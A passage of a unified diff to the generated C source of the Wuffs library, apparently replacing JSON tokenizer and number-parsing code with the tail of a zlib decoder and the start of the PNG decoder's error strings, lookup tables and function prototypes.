WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 4356u; -- v_expect_after_value = 4356u; -- } else { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2113602u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 4164u; -- v_expect_after_value = 4164u; -- } -- goto label__outer__continue; -- } else if (v_class == 7u) { -- v_vminor = 2105361u; -- if (v_depth == 0u) { -- } else if (0u != (v_expect_after_value & (((uint32_t)(1u)) << 6u))) { -- v_vminor = 2105409u; -- } else { -- v_vminor = 2105377u; -- } -- if (v_depth >= 1024u) { -- status = wuffs_base__make_status(wuffs_json__error__unsupported_recursion_depth); -- goto exit; -- } -- v_stack_byte = (v_depth / 32u); -- v_stack_bit = (v_depth & 31u); -- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(1u)) << v_stack_bit)); -- v_depth += 1u; -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 8114u; -- v_expect_after_value = 4356u; -- goto label__outer__continue; -- } else if (v_class == 8u) { -- iop_a_src += 1u; -- if (v_depth <= 1u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2101282u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__outer__break; -- } -- v_depth -= 1u; -- v_stack_byte = ((v_depth - 1u) / 32u); -- v_stack_bit = ((v_depth - 1u) & 31u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2105378u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 4356u; -- v_expect_after_value = 4356u; -- } else { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2113570u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_expect = 4164u; -- v_expect_after_value = 4164u; -- } -- goto label__outer__continue; -- } else if (v_class == 9u) { -- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 111546413966853u); -- if (v_match == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(8388612u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(5u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { -- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- iop_a_src += 5u; -- break; -- } else if (v_match == 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(19); -- goto label__outer__continue; -- } -- } else if (v_class == 10u) { -- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 435762131972u); -- if (v_match == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(8388616u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- iop_a_src += 4u; -- break; -- } else if (v_match == 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(20); -- goto label__outer__continue; -- } -- } else if (v_class == 11u) { -- v_match = wuffs_base__io_reader__match7(iop_a_src, io2_a_src, a_src, 465676103172u); -- if (v_match == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(8388610u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- iop_a_src += 4u; -- break; -- } else if (v_match == 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); -- goto label__outer__continue; -- } -- if (self->private_impl.f_quirks[14u]) { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -- status = wuffs_json__decoder__decode_inf_nan(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- break; -- } -- } else if (v_class == 12u) { -- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u]) { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_comment_type > 0u) { -- goto label__outer__continue; -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); - } - } -+ self->private_impl.f_dict_id_want = t_1; - } -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -+ status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); -+ goto ok; -+ } else if (self->private_impl.f_got_dictionary) { -+ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); - goto exit; - } -- if (v_depth == 0u) { -- break; -+ } else if (self->private_impl.f_dict_id_have != self->private_impl.f_dict_id_want) { -+ if (self->private_impl.f_got_dictionary) { -+ status = wuffs_base__make_status(wuffs_zlib__error__incorrect_dictionary); -+ goto exit; - } -- v_expect = v_expect_after_value; -+ status = wuffs_base__make_status(wuffs_zlib__note__dictionary_required); -+ goto ok; - } -- label__outer__break:; -- if (self->private_impl.f_quirks[17u] || self->private_impl.f_quirks[18u]) { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ self->private_impl.f_header_complete = true; -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); -+ v_status = t_2; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } - } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if ( ! self->private_impl.f_ignore_checksum && ! self->private_impl.f_quirks[0u]) { -+ v_checksum_have = wuffs_adler32__hasher__update_u32(&self->private_data.f_checksum, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -- status = wuffs_json__decoder__decode_trailer(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; - } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ } -+ if ( ! self->private_impl.f_quirks[0u]) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)); -+ } -+ } -+ v_checksum_want = t_3; - } -- if (status.repr) { -- goto suspend; -+ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { -+ status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); -+ goto exit; - } - } -- self->private_impl.f_end_of_data = true; - -- ok: -- self->private_impl.p_decode_tokens[0] = 0; -- goto exit; -- } -+ ok: -+ self->private_impl.p_do_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_transform_io.v_checksum_have = v_checksum_have; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; -+const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; -+const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; -+const char wuffs_png__error__bad_filter[] = "#png: bad filter"; -+const char wuffs_png__error__bad_header[] = "#png: bad header"; -+const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; -+const char wuffs_png__error__missing_palette[] = "#png: missing palette"; -+const char wuffs_png__error__truncated_input[] = "#png: truncated input"; -+const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; -+const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; -+const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; -+const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; -+const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; -+const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; -+const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; -+ -+// ---------------- Private Consts -+ -+#define WUFFS_PNG__ANCILLARY_BIT 32u -+ -+static const uint8_t -+WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ { -+ 0u, 0u, 0u, 0u, 0u, 0u, -+ }, { -+ 3u, 7u, 0u, 3u, 7u, 0u, -+ }, { -+ 3u, 3u, 4u, 3u, 7u, 0u, -+ }, { -+ 2u, 3u, 0u, 3u, 3u, 4u, -+ }, { -+ 2u, 1u, 2u, 2u, 3u, 0u, -+ }, { -+ 1u, 1u, 0u, 2u, 1u, 2u, -+ }, { -+ 1u, 0u, 1u, 1u, 1u, 0u, -+ }, { -+ 0u, 0u, 0u, 1u, 0u, 1u, -+ }, -+}; -+ -+static const uint8_t -+WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 255u, 85u, 0u, 17u, 0u, 0u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 8u, 4u, 0u, 2u, 0u, 0u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1u, 0u, 3u, 1u, 2u, 0u, 4u, 0u, -+}; -+ -+static const uint16_t -+WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, -+ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, -+ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, -+ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, -+ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, -+ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, -+ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, -+ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, -+ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, -+ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, -+ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, -+ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, -+ 0u, 41410u, 41666u, 41922u, 42178u, 42434u, 42690u, 42946u, -+ 43202u, 43458u, 43714u, 43970u, 44226u, 44482u, 44738u, 44994u, -+ 45250u, 45506u, 45762u, 46018u, 46274u, 46530u, 46786u, 47042u, -+ 47298u, 47554u, 47810u, 48066u, 48322u, 48578u, 48834u, 49090u, -+ 32963u, 33219u, 33475u, 33731u, 33987u, 34243u, 34499u, 34755u, -+ 35011u, 35267u, 35523u, 35779u, 36035u, 36291u, 36547u, 36803u, -+ 37059u, 37315u, 37571u, 37827u, 38083u, 38339u, 38595u, 38851u, -+ 39107u, 39363u, 39619u, 39875u, 40131u, 40387u, 40643u, 40899u, -+ 41155u, 41411u, 41667u, 41923u, 42179u, 42435u, 42691u, 42947u, -+ 43203u, 43459u, 43715u, 43971u, 44227u, 44483u, 44739u, 44995u, -+ 45251u, 45507u, 45763u, 46019u, 46275u, 46531u, 46787u, 47043u, -+ 47299u, 47555u, 47811u, 48067u, 48323u, 48579u, 48835u, 49091u, -+}; -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_2( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -- goto suspend; -- suspend: -- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -- self->private_data.s_decode_tokens[0].v_depth = v_depth; -- self->private_data.s_decode_tokens[0].v_expect = v_expect; -- self->private_data.s_decode_tokens[0].v_expect_after_value = v_expect_after_value; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - --// -------- func json.decoder.decode_number -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - - WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_json__decoder__decode_number( -- wuffs_json__decoder* self, -- wuffs_base__io_buffer* a_src) { -- uint8_t v_c = 0; -- uint32_t v_n = 0; -- uint32_t v_floating_point = 0; -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -- do { -- v_n = 0u; -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- break; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (v_c != 45u) { -- } else { -- v_n += 1u; -- iop_a_src += 1u; -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- v_n |= 256u; -- break; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- } -- if (v_c == 48u) { -- v_n += 1u; -- iop_a_src += 1u; -- } else { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (v_n > 99u) { -- break; -- } -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- break; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (v_c != 46u) { -- } else { -- if (v_n >= 99u) { -- v_n |= 512u; -- break; -- } -- v_n += 1u; -- iop_a_src += 1u; -- v_floating_point = 128u; -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (v_n > 99u) { -- break; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- break; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- } -- if ((v_c != 69u) && (v_c != 101u)) { -- break; -- } -- if (v_n >= 99u) { -- v_n |= 512u; -- break; -- } -- v_n += 1u; -- iop_a_src += 1u; -- v_floating_point = 128u; -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- v_n |= 256u; -- break; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if ((v_c != 43u) && (v_c != 45u)) { -- } else { -- if (v_n >= 99u) { -- v_n |= 512u; -- break; -- } -- v_n += 1u; -- iop_a_src += 1u; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_n = wuffs_json__decoder__decode_digits(self, a_src, v_n); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- } while (0); -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- return (v_n | v_floating_point); --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - --// -------- func json.decoder.decode_digits -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_json__decoder__decode_digits( -- wuffs_json__decoder* self, -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_decode_image_config( -+ wuffs_png__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_ihdr( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__assign_filter_distance( -+ wuffs_png__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint64_t -+wuffs_png__decoder__calculate_bytes_per_row( -+ const wuffs_png__decoder* self, -+ uint32_t a_width); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__choose_filter_implementations( -+ wuffs_png__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_other_chunk( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src, -- uint32_t a_n) { -- uint8_t v_c = 0; -- uint32_t v_n = 0; -+ bool a_framy); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_actl( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_chrm( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_exif( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_fctl( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ 